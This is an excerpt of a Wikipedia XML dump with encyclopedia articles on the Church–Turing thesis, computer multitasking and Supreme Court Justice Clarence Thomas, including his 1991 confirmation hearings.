In his [[1936]] paper &quot;On Computable Numbers, with an Application to the [[Entscheidungsproblem]]&quot; Turing tried to capture the notion of algorithm (then called &quot;effective computability&quot;), with the introduction of Turing machines. In that paper he showed that the 'Entscheidungsproblem' could not be solved. A few months earlier Church had proven a similar result in &quot;A Note on the Entscheidungsproblem&quot; but he used the notions of [[recursive function]]s and [[Lambda calculus|lambda-definable function]]s to formally describe effective computability. Lambda-definable functions were introduced by Alonzo Church and [[Stephen Kleene]] (Church 1932, 1936a, 1941, Kleene 1935), and recursive functions were introduced by [[Kurt Gödel]] and [[Jacques Herbrand]] (Gödel 1934, Herbrand 1932). These two formalisms describe the same set of functions, as was shown in the case of functions of positive integers by Church and Kleene (Church 1936a, Kleene 1936). After hearing of Church's proposal, Turing was quickly able to show that his Turing machines in fact describe the same set of functions (Turing 1936, 263ff).

==Success of the thesis==
Since that time, many other formalisms for describing effective computability have been proposed, including [[recursive function]]s, the [[lambda calculus]], [[register machine]]s, [[Post system]]s, [[combinatory logic]], and [[Markov algorithm]]s. All these systems have been shown to compute the same functions as Turing machines; systems like this are called [[Turing-complete]]. Because all these different attempts of formalizing the concept of algorithm have yielded equivalent results, it is now generally assumed that the Church–Turing thesis is correct. However, the thesis is a definition and not a [[theorem]], and hence cannot be proved true.  It could, however, be disproved if a method could be exhibited which is universally accepted as being an effective algorithm but which cannot be performed on a Turing machine.

In the early twentieth century, mathematicians often used the informal phrase ''effectively computable'', so it was important to find a good formalization of the concept. Modern mathematicians instead use the well-defined term ''Turing computable'' (or ''computable'' for short). Since the undefined terminology has faded from use, the question of how to define it is now less important.

The success of the Church&amp;ndash;Turing thesis prompted '''supertheses''' that extend the thesis, including the conjecture that there is a polynomial transformation from the representation of computable functions in one formalization to their representation in another, and the conjecture that every [[model of computation]] can be step-by-step simulated by a Turing machine.

==Philosophical implications==
The Church–Turing thesis has some profound implications for the [[philosophy of mind]]. There are also some important open questions which cover the relationship between the Church–Turing thesis and physics, and the possibility of [[hypercomputation]]. When applied to physics, the thesis has several possible meanings:

#The universe is equivalent to a Turing machine (and thus, computing non-recursive functions is physically impossible).  This has been termed the ''strong Church–Turing thesis'' (not to be confused with the previously mentioned SCTT) and is a foundation of [[digital physics]].
#The universe is not a Turing machine (i.e., the laws of physics are not Turing-computable), but incomputable physical events are not &quot;harnessable&quot; for the construction of a [[hypercomputation|hypercomputer]].  For example, a universe in which physics involves [[real numbers]], as opposed to [[computable number|computable real]]s, might fall into this category.
#The universe is a [[hypercomputation|hypercomputer]], and it is possible to build physical devices to harness this property and calculate non-recursive functions. For example, it is an open question whether all [[quantum mechanics|quantum mechanical]] events are Turing-computable, although it has been proved that any system built out of [[qubit]]s is (at best) Turing-complete.  [[John Lucas (philosopher)|John Lucas]] (and more famously, [[Roger Penrose]]) have suggested that the human mind might be the result of quantum hypercomputation, although there is little scientific evidence for this theory.

There are many other technical possibilities which fall outside or between these three categories, but these serve to illustrate the range of the concept.

==References==
*Bernstein, E. &amp; Vazirani, U. ''Quantum complexity theory'', SIAM Journal on Computing 26(5) (1997) 1411?1473
*[[Alonzo Church|Church, A.]], 1932, &quot;A set of Postulates for the Foundation of Logic&quot;, ''Annals of Mathematics'', second series, 33, 346-366.
*Church, A., 1936, &quot;An Unsolvable Problem of Elementary Number Theory&quot;, ''American Journal of Mathematics'', 58, 345-363.
*Church, A., 1936, &quot;A Note on the Entscheidungsproblem&quot;, ''Journal of Symbolic Logic'', 1, 40-41.
*Church, A., 1941, ''The Calculi of Lambda-Conversion'', Princeton: Princeton University Press.
*[[Willem Fouché|Fouché, W.]], ''Arithmetical representations of Brownian motion'', J. Symbolic Logic 65 (2000) 421-442
*[[Kurt Gödel|Gödel, K.]], 1934, &quot;On Undecidable Propositions of Formal Mathematical Systems&quot;, lecture notes taken by Kleene and Rosser at the Institute for Advanced Study, reprinted in Davis, M. (ed.) 1965, ''The Undecidable'', New York: Raven.
*[[Jacques Herbrand|Herbrand, J.]], 1932, &quot;Sur la non-contradiction de l'arithmétique&quot;, ''Journal fur die reine und angewandte Mathematik'', 166, 1-8.
*[[Douglas Hofstadter|Hofstadter, Douglas R.]],  ''[[Gödel, Escher, Bach: an Eternal Golden Braid]]'', Chapter 17.
*[[Stephen Cole Kleene|Kleene, S.C.]], 1935, &quot;A Theory of Positive Integers in Formal Logic&quot;, ''American Journal of Mathematics'', 57, 153-173, 219-244.
*Kleene, S.C., 1936, &quot;Lambda-Definability and Recursiveness&quot;, ''Duke Mathematical Journal'' 2, 340-353.
*[[Andrey Markov|Markov, A.A.]], 1960, &quot;The Theory of Algorithms&quot;, ''American Mathematical Society Translations'', series 2, 15, 1-14.
*[[Alan Turing|Turing, A.M.]], 1936, &quot;[http://www.abelard.org/turpap2/tp2-ie.asp On Computable Numbers, with an Application to the Entscheidungsproblem]&quot;, ''Proceedings of the London Mathematical Society'', Series 2, 42 (1936-37), pp.230-265. 
*Pour-El, M.B. &amp; Richards, J.I., 1989, ''Computability in Analysis and Physics'', [[Springer Verlag]].
* [[Martin Davis]] editor, ''The Undecidable, Basic Papers on Undecidable Propositions, Unsolvable Problems And Computable Functions'', Raven Press, New York, 1965. All the original papers are here including those by Godel, Church, Rosser, Kleene, and Post. Those referenced above can be found in this collection. Valuable commentary by Davis prefaces most papers.

==See also==
*[[Computability theory (computation) | Computability theory]]
*[[Decidable|Decidability]]
*[[Computability logic]]

==External links==
*[http://plato.stanford.edu/entries/church-turing/ Detailed info on the Church–Turing Hypothesis] ([[Stanford Encyclopedia of Philosophy]])

[[Category:Recursion theory]]
[[Category:Alan Turing]]
[[Category:Theory of computation]]

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  <page>
    <title>Chomsky</title>
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      <text xml:space="preserve">#REDIRECT [[Noam_Chomsky]]</text>
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  <page>
    <title>Computer multitasking</title>
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      <comment>apostrophe</comment>
      <text xml:space="preserve">In computing, '''multitasking''' is a method by which multiple tasks, also known as [[Computer process|processes]], share common processing resources such as a [[Central processing unit|CPU]]. In the case of a computer with a single CPU, only one task is said to be ''running'' at any point in time, meaning that the CPU is actively executing instructions for that task.
Multitasking solves the problem by [[scheduling]] which task may be the one running at any given time, and when another waiting task gets a turn.  The act of reassigning a CPU from one task to another one is called a [[context switch]].
When context switches occur frequently enough the illusion of [[Parallel computing|parallelism]] is achieved.
Even on computers with more than one CPU (called [[multiprocessor]] machines), multitasking allows many more tasks to be run than there are CPUs. 

Operating systems may adopt one of many different [[scheduling|scheduling strategies]], which generally fall into the following categories:
* In ''multiprogramming'' systems, the running task keeps running until it performs an operation that requires waiting for an external event (e.g. reading from a tape) or until the computer's scheduler forcibly swaps the running task out of the CPU. Multiprogramming systems are designed to maximize CPU usage.
* In ''[[time-sharing]]'' systems, the running task is required to relinquish the CPU, either voluntarily or by an external event such as a [[hardware interrupt]]. Time sharing systems are designed to allow several programs to execute apparently simultaneously.
* In ''real-time'' systems, some waiting tasks are guaranteed to be given the CPU when an external event occurs. Real time systems are designed to control mechanical devices such as industrial robots, which require timely processing.

Nowadays, the term ''time-sharing'' is seldom used, being replaced by simply ''multitasking''.

== Multiprogramming ==
In the early days of computing, CPU time was expensive, and [[peripheral]]s very slow. When the computer ran a program that
needed access to a peripheral, the CPU would have to stop executing program instructions while the peripheral processed the
data. This was deemed very inefficient.

The first efforts to create multiprogramming systems took place in the 1960s. Several different programs were loaded in the
computer memory, and the first one began to run. When the first program reached an instruction waiting for a peripheral,
the context of this program was stored away, and the second program in memory was given a chance to run. The process continued
until all programs finished running.

Multiprogramming doesn't give any guarantee that a program will run in a timely manner. Indeed, the very first program
may very well run for hours without needing access to a peripheral. As there were no users waiting at an interactive
terminal, this was no problem: users handed a deck of punched cards to an operator, and came back a few hours later
for printed results. Multiprogramming greatly reduced the waiting.

== Cooperative multitasking/time-sharing ==
When computer usage evolved from batch mode to interactive mode, multiprogramming was no longer a suitable approach. Each
user wanted to see his program running as if it was the only program in the computer. Time sharing had to be used.

Early multitasking systems consisted of suites of related applications that voluntarily ceded time to each other. This approach, which was eventually supported by many computer [[operating system]]s, is today known as [[Co-operative_multitasking|cooperative multitasking]]. Although it is rarely used in larger systems, [[Microsoft Windows]] prior to [[Windows 95]] and [[Windows NT]], and [[Mac OS]] prior to [[Mac OS X]] both used cooperative multitasking to enable the running of multiple applications simultaneously.

Cooperative multitasking has many shortcomings. For one, a cooperatively multitasked system must rely on each process to regularly give time to other processes on the system. A poorly designed program, or a &quot;hung&quot; process, can effectively bring the system to a halt. The design requirements of a cooperatively multitasked program can also be onerous for some purposes, and may result in irregular (or inefficient) use of system resources. To remedy this situation, most time-sharing systems quickly evolved a more advanced approach known as [[Pre-emptive_multitasking|preemptive multitasking]].
{{mergefrom|Co-operative_multitasking}}

== Preemptive multitasking/time-sharing ==

Preemptive multitasking allows the computer system to more reliably guarantee each process a regular &quot;slice&quot; of operating time. It also allows the system to rapidly deal with important external events like incoming data, which might require the immediate attention of one or another process.

At any specific time, processes can be grouped into two categories: those that are waiting for input or output (called &quot;[[IO bound|I/O bound]]&quot;), and those that are fully utilizing the CPU (&quot;[[CPU bound]]&quot;). In early systems, processes would often &quot;poll&quot;, or &quot;busywait&quot; while waiting for requested input (such as disk, keyboard or network input). During this time, the process was not performing useful work, but still maintained complete control of the CPU. With the advent of interrupts and preemptive multitasking, these I/O bound processes could be &quot;blocked&quot;, or put on hold, pending the arrival of the necessary data, allowing other processes to utilize the CPU. As the arrival of the requested data would generate an interrupt, blocked processes could be guaranteed a timely return to execution.

Although multitasking techniques were originally developed to allow multiple users to share a single machine, it soon became apparent that multitasking was useful regardless of the number of users. Many operating systems, from mainframes down to single-user personal computers, have recognized the usefulness of multitasking support for a variety of reasons. Multitasking makes it possible for a single user to run multiple applications at the same time, or to run &quot;background&quot; processes while retaining control of the computer.

In simple terms: Pre-emptive multitasking involves the use of a scheduler which hands out CPU time to various processes so that they can be performed simultaneously. Therefore all processes will get some amount of CPU time at any given time.
{{mergefrom|Pre-emptive multitasking}}
{{mergefrom|Time slice multiplexing}}

== Real time ==
Another reason for multitasking was in the design of [[real-time]] computing systems, where a number of possibly unrelated external activities needed to be controlled by a single processor system. In such systems a hierarchical interrupt system was coupled with process prioritization to ensure that key activities were given a greater share of available process time.

== Multithreading ==
As multitasking greatly improved the throughput of computers, programmers started to implement
applications as sets of cooperating processes (e.g. one process gathering input data, one process
processing input data, one process writing out results on disk.) This, however, required some tools to allow processes to efficiently exchange data.

[[Thread (computer science)|Threads]] were born from the idea that the most efficient way for cooperating processes to exchange
data would be to share their entire memory space. Thus, threads are basically processes that run 
in the same memory context. Threads are described as ''lightweight'' because switching between threads does not involve changing the memory context.

While threads are scheduled preemptively, some operating systems provide a variant to threads, named ''fibers'', that are scheduled cooperatively. On operating systems that do not provide fibers, an application may implement its own fibers using repeated calls to worker functions. Fibers are even more lightweight than threads, and somewhat easier to program with, although they tend to lose some or all of the benefits of threads on [[multiprocessing|machines with multiple processors]].

== Memory protection ==
When multiple programs are present in memory, an ill-behaved program may (inadvertently or deliberately) overwrite memory belonging to another program, or even to the operating system itself.

The operating system therefore restricts the memory accessible to the running program. A program trying to access memory outside its allowed range is immediately stopped before it can do any change to memory belonging to some other process.

Another key innovation was the idea of privilege levels. Low privilege tasks are not allowed some kinds of memory access and are not allowed to perform certain instructions. When a task tries to perform a privileged operation a [[trap]] occurs and a supervisory program running at a higher level is allowed to decide how to respond. This created the possibility of virtualizing the entire system, including virtual peripheral devices. Such a simulation is called a virtual machine operating system. Early virtual machine systems did not have virtual memory, but both are common today.

== Swapfile ==
Use of a [[swapfile]] is a way for the operating system to provide more memory than is physically available by keeping portions of memory in [[secondary storage]]. While multitasking and memory swapping are two completely unrelated techniques, they are very often used together, as swapping memory allows more tasks to be loaded at the same time.  Typically, a [[multitasking]] system allows another process to run when the running process hits a point where it has to wait for some portion of memory to be reloaded from [[secondary storage]].

== Programming in a multitasking environment ==
Processes that are entirely independent are not much trouble to program. Most of the complexity in multitasking systems comes from the need to share computer resources between tasks and to synchronize the operation of co-operating tasks.

Large computer systems were sometimes built with a central processor(s) and some number of I/O processors, a kind of asymmetric multiprocessing. One use for interrupts is to allow a simpler processor to simulate the dedicated I/O processors that it did not have.

Over the years, multitasking systems have been refined. Modern operating systems generally include detailed mechanisms for prioritizing processes, while symmetric [[multi-processing]] has introduced new complexities and capabilities.

[[Category:Operating system technology]]

[[cs:Multitasking]]
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  <page>
    <title>Clarence Thomas</title>
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      <comment>/* Life */  dab. Catholic</comment>
      <text xml:space="preserve">[[Image:Clarence Thomas official.jpg|thumb|right|200px|Justice Clarence Thomas]]

'''Clarence Thomas''' (born [[June 23]], [[1948]]) is an American [[jurist]] and has been an [[List of Justices of the Supreme Court of the United States|Associate Justice]] of the [[Supreme Court of the United States]] since [[1991]]. He is considered to be part of the &quot;[[conservative]] wing&quot; in the current court. He is the second [[African American]] to serve on the nation's highest court, having replaced [[Associate Justice of the Supreme Court of the United States|Justice]] [[Thurgood Marshall]].  Thomas was the youngest of the justices with whom he served from the time of his appointment to the confirmation of [[Chief Justice of the United States|Chief Justice]] [[John G. Roberts, Jr.]] in 2005.

==Life ==
Clarence Thomas was born in [[Pin Point, Georgia]], a small community outside [[Savannah, Georgia|Savannah]]. His father abandoned his family when he was only a year old, leaving his mother [[Leola Anderson]], to take care of the family. At age seven they went to live with the mother's father, [[Myers Anderson]] in Savannah. He had a [[fuel oil]] business that also sold ice; Thomas often helped him make deliveries.   

His grandfather believed in hard work and self-reliance and would counsel him to &quot;never let the sun catch you in bed in the morning&quot;. In [[1975]], when Thomas read ''[[Race and Economics]]'' by economist [[Thomas Sowell]], he found an intellectual foundation for this philosophy. The book criticized social reforms by government and instead argued for individual action to overcome circumstances and adversity. Thomas later said that the book changed his life.   
   
Raised [[Roman Catholic]] (he later attended an [[Episcopal Church in the United States of America|Episcopal]] church with his wife, but returned to the Catholic Church in the late 1990s), Thomas considered entering the priesthood and briefly attended [http://www.conception.edu/default.htm Immaculate Conception Seminary], a [[Roman Catholic Church|Catholic]] [[seminary]] in [[Missouri]]. Thomas later attended [[College of the Holy Cross]], where he co-founded the school's Black Student Union and received an [[Bachelor of Arts|A.B.]], ''[[cum laude]]''. He received a [[Juris Doctor]] ([[J.D.]]) degree from [[Yale Law School]] in [[1974]]. 
     
Thomas has one child, [[Jamal Adeen]], from his first marriage.  This marriage, to Kate Ambush, lasted from 1971 until their 1984 divorce. Thomas married Virginia Lamp in [[1987]].

== Early career ==
He served as Assistant [[Attorney General]] of [[Missouri]] from 1974-1977, an [[attorney]] with [[Monsanto]] from 1977-1979 and [[Legislative Assistant]] to Senator [[John Danforth]] from 1979-1981. 

In 1981, he began his rise through the [[Ronald Reagan|Reagan]] administration. From 1981-1982, he served as [[Assistant Secretary of Education for the Office of Civil Rights]] in the [[US Department of Education]] (&quot;DOE&quot;), and as Chairman of the US [[Equal Employment Opportunity Commission]] (&quot;EEOC&quot;) from 1982-1990. Thomas cautiously accepted these assignments aware of the pressures for placing [[minority|minorities]] in government positions.

In 1990, President [[George H. W. Bush]] nominated Thomas to the [[United States Court of Appeals for the District of Columbia Circuit]].  At first, the nomination appeared to be stuck in the Senate Judiciary Committee, until a copy of a &quot;documents request&quot; from the committee (which at the time was controlled by the Democrats and chaired by Senator [[Joe Biden]]) was leaked to the ''[[Wall Street Journal]]''.  The Journal reprinted the documents request, taking up one-quarter of the op-ed page. In the ensuing negative publicity surrounding the documents request, Thomas's nomination was discharged from the committee.  Thomas was confirmed by the Senate in March 1990.

== Appointment ==
On July 8, [[1991]] President [[George H. W. Bush]] nominated Thomas to replace [[Thurgood Marshall]] who had recently announced his retirement.[http://uspolitics.about.com/od/usgovernment/a/supreme_court_3.htm] Marshall had been the only black justice on the court. While the selection of Thomas preserved the existing racial balance of the court, it was seen as likely to move the ideological balance to the right.  While most recent Supreme Court nominees have been deemed &quot;well-qualified&quot; by the [[American Bar Association]], the rating for Justice Thomas was split between &quot;qualified&quot; and &quot;not qualified.&quot;

Organizations including the [[NAACP]], the [[Urban League]] and the [[National Organization for Women]] opposed the appointment based on Thomas's criticism of [[affirmative action]] and suspicions that Thomas might not be a supporter of ''[[Roe v. Wade]]''. Under questioning during confirmation hearings, Thomas repeatedly asserted that he had not formulated a position on the Roe decision.

Some of the public statements of Thomas' opponents foreshadowed the confirmation fight that would occur.  One such statement came from noted feminist [[Florence Kennedy]] at a [[July]] [[1991]] conference of the National Organization for Women in [[New York City]].  Making reference to [[Robert Bork]] and the successful campaign against his Supreme Court nomination in [[1987]], she said of Thomas, &quot;We're going to bork him.&quot; [http://opinionjournal.com/diary/?id=85000412]

The [[U.S. Senate Committee on the Judiciary|Senate Judiciary Committee]] questioned Thomas about his political opinions and constitutional interpretation over several days. Toward the expected end of the confirmation hearings, Democratic staffers for the committee leaked the contents of an FBI report to [[NPR]]'s [[Nina Totenberg]], which reported that a former colleague of Thomas, [[University of Oklahoma]] law school professor [[Anita Hill]], had accused him of sexually harassing her when the two had worked together at the DOE and EEOC. However, seemingly contradictory statements by Anita Hill and additional testimony for Thomas by former female associates weakened the case against him. In the end, the Committee did not find sufficient evidence to corroborate Anita Hill's claim. Hill's supporters later insisted that relevant testimony from [[Angela Wright]], a PR director for the EEOC and a witness to the alleged offensive conduct, was suppressed, even though the Democrats controlled the Senate. (Democrats were reluctant to call Angela Wright as a witness after Thomas testified that he had fired her for calling another employee a 'faggot.')

Of the Committee's investigation of the Hill claims, Thomas said:
&lt;blockquote&gt;''...as far as I'm concerned, it is a high-tech [[lynching]] for uppity blacks who in any way deign to think for themselves, to do for themselves, to have different ideas, and it is a message that unless you kowtow to an old order, this is what will happen to you. You will be lynched, destroyed, caricatured by a committee of the US Senate rather than hung from a tree.'' [http://etext.lib.virginia.edu/etcbin/toccer-new-yitna?id=UsaThom&amp;images=images/modeng&amp;data=/lv6/workspace/yitna&amp;tag=public&amp;part=24]&lt;/blockquote&gt;

The content of the hearings, particularly Senator [[Orrin Hatch]]'s questions ''&quot;[D]id you ever say in words or substance something like there is a pubic hair in my [[Coca-Cola|coke]]?&quot;'' and ''&quot;Did you ever use the term [[Long Dong Silver]] in conversation with Professor Hill?&quot;'' rapidly became fodder for the nation's comedians.

The Committee sent the nomination to the full Senate without a recommendation either way. Thomas was confirmed by the Senate with a 52-48 vote on [[October 15]], [[1991]], making it the closest confirmation vote for a Justice in the [[20th century]].  The vote was not strictly by party line; he received &quot;yea&quot; votes from 41 Republicans and 11 Democrats and &quot;nay&quot; votes from 46 Democrats and 2 Republicans.

Thomas took his seat on [[October 23]], [[1991]].

== Judicial philosophy  ==
On the Court, Thomas has argued for an [[originalism|originalist]] or &quot;textualist&quot; view of the Constitution faithful to that document's text and history. Especially early in his term on the court, critics often suggested that Thomas lacked a judicial philosophy of his own, and that he unreflectingly signed on to the opinions of Justice [[Antonin Scalia]].  Although Thomas has frequently voted with Scalia, his opinions have sometimes diverged from Scalia's based on Thomas's alternative readings of Constitutional history. Scalia appears much more willing to be guided by precedent in his decisions, even when he disagrees with the precedent in question. He has said that Thomas &quot;doesn't believe in ''[[stare decisis]]'', period.&quot;  Although both Thomas and Scalia are considered the court's conservative wing, originalism does not inherently or intrinsically favor conservative political views or liberal political views. Consequently, Thomas's originalism occasionally leads him to take what appears to be a &quot;liberal&quot; position on various issues, as discussed below.

In general, Thomas has been a proponent of an expansive [[First Amendment to the United States Constitution|First Amendment]] interpretation, arguing that anonymous speech, money donated to political campaigns, and [[commercial speech]] attempting to sell products all qualified for protection. In ''[http://supct.law.cornell.edu/supct/html/93-986.ZO.html McIntyre v. Ohio Elections Commission]'' ([[1995]]), Thomas agreed with a majority of the Court that a law banning anonymous campaign literature violated the First Amendment. Scalia disagreed.  He argued that the evidence was insufficient to conclude there was an original understanding and noted the wide popular support for laws against it. But while the Court majority based its decision on the fact that  anonymity has &quot;played an important role in the progress of mankind&quot;, Thomas filed a concurrence arguing that protection of anonymous speech was part of the original understanding of the amendment, noting that ''[[The Federalist Papers]]'' were published anonymously. 

He has also taken the point of view that the [[Commerce Clause]] should be narrowly interpreted, covering only actual [[interstate commerce]], not things related to it; he thus concurred with the Court's decisions in ''[[United States v. Lopez]]'' invalidating a federal law prohibiting possession of a firearm in a school zone. In the same vein, Justice Thomas's judicial philosophy does not encompass the Dormant Commerce Clause, the negative implication of the Commerce Clause, which is often employed to strike down protectionist legislation. 

Thomas has also defended firm interpretations of the [[Second Amendment to the United States Constitution|Second Amendment]], suggesting in ''[[Printz v. United States]]'' that the [[Brady Act]]'s background checks may have violated it.

In 1992, eight months after being appointed to the court, Thomas joined a dissent in [[Planned Parenthood v. Casey]] authored by Justice Scalia, also joined by The Chief Justice (Rehnquist) and Justice White, which concluded &quot;that a woman's decision to abort her unborn child is not a constitutionally protected &quot;liberty&quot; because (1) the Constitution says absolutely nothing about it [...].&quot; Thomas (along with Scalia and White) also concurred with a separate dissent authored by Chief Justice Rehnquist which stated &quot;We believe that [[Roe v. Wade|Roe]] was wrongly decided, and that it can and should be overruled consistently with our traditional approach to stare decisis in constitutional cases.&quot;

Thomas has followed a [[strict constructionism|narrow construction]] of the [[Eighth Amendment to the United States Constitution|Eighth Amendment]]. In ''[[Hudson v. McMillian]]'' ([[1992]]), he  dissented, arguing that the beating of a [[Louisiana]] inmate by three prison guards was not [[cruel and unusual punishment]]. Thomas wrote that the beating, which left Hudson with minor bruises, facial swelling, loosened teeth, and a cracked dental plate, did not cause sufficient harm to meet the constitutional standard; however, he left open the option of a criminal charge or a tort claim, just not a constitutional claim. &quot;In my view, a use of force that causes only insignificant harm to a prisoner may be immoral, it may be [[tort]]ious, it may be criminal, and it may even be remediable under other provisions of the Federal Constitution, but it is not 'cruel and unusual punishment.' In concluding to the contrary, the Court today goes far beyond our precedents.&quot;  

Thomas has carved out a distinctive voice for himself on the highly-charged racial issues before the Court. In ''[[Missouri v. Jenkins]]'' ([[1995]]), the Court overturned a lower court ruling forcing the city of [[Kansas City, Missouri]] to spend more money on their predominantly black school system to attract white suburban children. Thomas filed a separate concurrence where he argued &quot;'Racial isolation' itself is not a harm; only state-enforced segregation is,&quot; and that integration assumed that blacks could not get ahead on their own.

In ''[[Adarand Constructors v. Peña]]'' ([[1995]]), Thomas commented on [[affirmative action]]: &quot;I write separately...to express my disagreement with the premise...that there is a racial paternalism exception to the principle of equal protection...That these programs may have been motivated, in part, by good intentions cannot provide refuge from the principle that under our Constitution, the government may not make distinctions on the basis of race. As far as the Constitution is concerned, it is irrelevant whether a government's racial classifications are drawn by those who wish to oppress a race or by those who have a sincere desire to help those thought to be disadvantaged. There can be no doubt that the paternalism that appears to lie at the heart of this program is at war with the principle of inherent equality that underlies and infuses our Constitution. See Declaration of Independence ('We hold these truths to be self evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness').&quot;

In ''[http://supct.law.cornell.edu/supct/html/historics/USSC_CR_0505_0717_ZS.html United States v. Fordice]'' ([[1992]]), he agreed that [[Mississippi]] had not done enough to [[desegregation|desegregate]] its colleges and universities. But he added that increased integration could hurt [[historically black colleges]]. &quot;It would be ironic, to say the least, if the institutions that sustained blacks during segregation were themselves destroyed in an effort to combat its vestiges,&quot; he wrote. 

In ''[[Zelman v. Simmons-Harris]]'' ([[2002]]), he voted to uphold an [[Ohio]] [[education voucher|school voucher]] plan. &quot;While the romanticized ideal of universal public education resonates with the [[Wiktionary:cognoscenti|cognoscenti]] who oppose vouchers, poor urban families just want the best education for their children, who will certainly need it to function in our [[high-tech]] and advanced society,&quot; he wrote. &quot;As [[Thomas Sowell]] noted 30 years ago: Most black people have faced too many grim, concrete problems to be romantics.&quot;

In ''[[Lawrence v. Texas]]'' ([[2003]]), Thomas dissented from the Court's decision striking down Texas's [[sodomy laws]], stating that although he felt the laws were &quot;uncommonly silly&quot; and deserved to be repealed, these matters would be best left to the legislature or the public, not the courts. 

In ''[[Hamdi v. Rumsfeld]]'' ([[2004]]), Thomas was the only justice who sided with the government and the Fourth Circuit's ruling, based on his view of the important security interests at stake and the President's broad war-making powers.

Thomas is frequently at odds with the majority of the court, often found at the dissenting end of many a 7-2 or 8-1 opinion. In 2003, for example, he was on the dissenting side of 21 of the 41 contested (non-unanimous) cases, making him the most frequently dissenting justice of the term, followed by Justice Scalia with 16 dissents. (Source: New York Times, 7/1/03)

===&quot;Liberal&quot; rulings by a conservative Justice===
In some cases, Thomas&amp;#8217;s commitment to a textualist and originalist philosophy leads him to take a &amp;#8220;liberal&amp;#8221; position, even writing the occasional opinion that is more &quot;liberal&quot; than any other Justice on the Court. His supporters say this proves Thomas is not an ideologue or a results-oriented Justice. He applies a consistent [[Constitutional]] standard to every ruling, regardless of whether it would be considered [[ideologically]] [[liberal]] or [[conservative]].

For example, in ''[http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=us&amp;vol=000&amp;invol=99-166 United States v. Hubbell]'' ([[2000]]), the Court heard a case involving Bill Clinton&amp;#8217;s friend Webster Hubbell, who had been indicted for various fraud charges based on his own documents that the government had subpoenaed. Even though the Fifth Amendment provides that no person &amp;#8220;shall be compelled in any criminal case to be a witness against himself,&amp;#8221; the Supreme Court has, since 1976, applied the so-called &amp;#8220;act-of-production doctrine.&amp;#8221; Under this doctrine, a person can invoke his Fifth Amendment rights against the production of documents only where the very act of producing the documents is incriminating in itself. Thomas wrote a separate concurrence, however, examining a wide range of historical materials on the original meaning of the Fifth Amendment. He concluded that the Constitution should protect against the &amp;#8220;compelled production not just of incriminating testimony, but of any incriminating evidence.&amp;#8221; In other words, the government should not ever be allowed to subpoena a private person's papers and documents in order to build a criminal case against him. 

Another example is ''[[Apprendi v. New Jersey]]'' ([[2000]]), in which the Court considered whether New Jersey&amp;#8217;s hate crime statute was unconstitutional. Under this law, once the jury had decided guilt for the underlying crime, the prosecutor could obtain an increased sentence merely by proving the &amp;#8220;hate&amp;#8221; motive to a judge at sentencing (where the standard of proof was merely &quot;preponderance of the evidence&quot;). The Supreme Court held that this practice was unconstitutional, because the Constitution&amp;#8217;s right to trial by jury requires that any factor which increases a defendant&amp;#8217;s sentence beyond a statutory maximum has to be proven to a jury &quot;beyond a reasonable doubt&quot;. Again, though, Thomas wrote separately. In his concurrence (which was joined by Scalia), he argued for a rule that would typically be viewed as even more &quot;liberal&quot;: that any facts that might increase a sentence (not just those that increase it beyond the statutory maximum) should have to be proven &quot;beyond a reasonable doubt&quot;.  

Another example is ''[http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=us&amp;vol=000&amp;invol=96-1487 United States v. Bajakajian]'' ([[1998]]), in which Thomas and the Court's four liberals wrote the first opinion ever to strike down a federal statute as violating the Eighth Amendment&amp;#8217;s &amp;#8220;excessive fines&amp;#8221; clause. The Court decided that it was an &amp;#8220;excessive fine&amp;#8221; under the Eighth Amendment for the government to seize $357,144 in cash from an airport traveler on his way to a foreign country. The man was not a drug courier or a money launderer, and his only crime was that he failed to report to the government that he was carrying more than $10,000 out of the country. Again in keeping with his originalist philosophy, Thomas looked to the history and origin of the Excessive Fines Clause, along with 18th-century congressional enactments and 17th-century English cases, in order to conclude that the fine was excessive in proportion to the harm that the government sustained.

Then, in ''[http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=us&amp;vol=000&amp;invol=99-1030 Indianapolis v. Edmond]'' ([[2000]]), the Court struck down a police program that stopped drivers and searched for drugs. The Court, however, took pains to distinguish this case from earlier roadblock cases in which it had upheld police stops to search for drunk drivers and illegal aliens. While Thomas joined Chief Justice Rehnquist's dissent (as did Justice Scalia) on the grounds that the case was controlled by the earlier roadblock cases, Thomas also wrote separately; in his short dissent, he stated that he was &quot;not convinced&quot; that the precedents had been correctly decided, but that since the respondents did not argue for overruling them, he was &quot;reluctant&quot; to overturn them. As for the roadblocks, he stated that &quot;I rather doubt that the Framers of the [[Fourth Amendment to the United States Constitution|Fourth Amendment]] would have considered 'reasonable' a program of indiscriminate stops of individuals not suspected of wrongdoing.&quot;

== Heritage ==
Thomas comes from the [[Gullah|Gullah/Geechee]] cultural region of coastal Georgia and is a member of this distinct African American ethnic group; he grew up speaking the Geechee language, which is a hybrid of English and various West African languages.  Thomas acquired an enthusiasm for his heritage, writing about it in the December 14, 2000 issue of [[The New York Times]]:
:&quot;When I was 16, I was sitting as the only black kid in my class, and I had grown up speaking a kind of a dialect. It's called Geechee. Some people call it Gullah now, and people praise it now. But they used to make fun of us back then. It's not standard English. When I transferred to an all-white school at your age, I was self-conscious, like we all are...  So I...just started developing the habit of listening.&quot;[http://www.edu-cyberpg.com/Linguistics/GullahGeechee.html]

Thomas has stated that he wishes to write a book about the culture. [http://news.geomag.com/news/2001/06/0607_wiregullah.html]

== Sources ==
* Foskett, Ken (2004) ''Judging Thomas : The Life and Times of Clarence Thomas'', William Morrow, ISBN 0-060-52721-8
* Thomas, Andrew Peyton (2001) ''Clarence Thomas: A Biography'', Encounter Books, ISBN 1-893-55436-8
* [http://www.supremecourtus.gov/about/biographiescurrent.pdf Supreme court official biography] ([[Portable Document Format|PDF format]])
* [http://www.washingtonpost.com/ac2/wp-dyn?pagename=article&amp;node=&amp;contentId=A23641-2002Jul30&amp;notFound=true Supreme Discomfort]
* [http://chnm.gmu.edu/courses/122/hill/hillframe.htm An Outline of the Anita Hill and Clarence Thomas Controversy]
* [http://www.libertysoft.com/liberty/features/67carp.html Out of Scalia's Shadow]
* [http://www.oyez.org/oyez/resource/legal_entity/106/biography U.S. Supreme Court Multimedia]
* [http://etext.lib.virginia.edu/users/yitna/ Transcripts of Senate Judiciary Committee Hearing on the Nomination of Clarence Thomas to the Supreme Court]
* [http://www.conceptionabbey.org/TowerTopics/TTWinter2001/CThomas2.htm A Conversation with Justice Thomas]
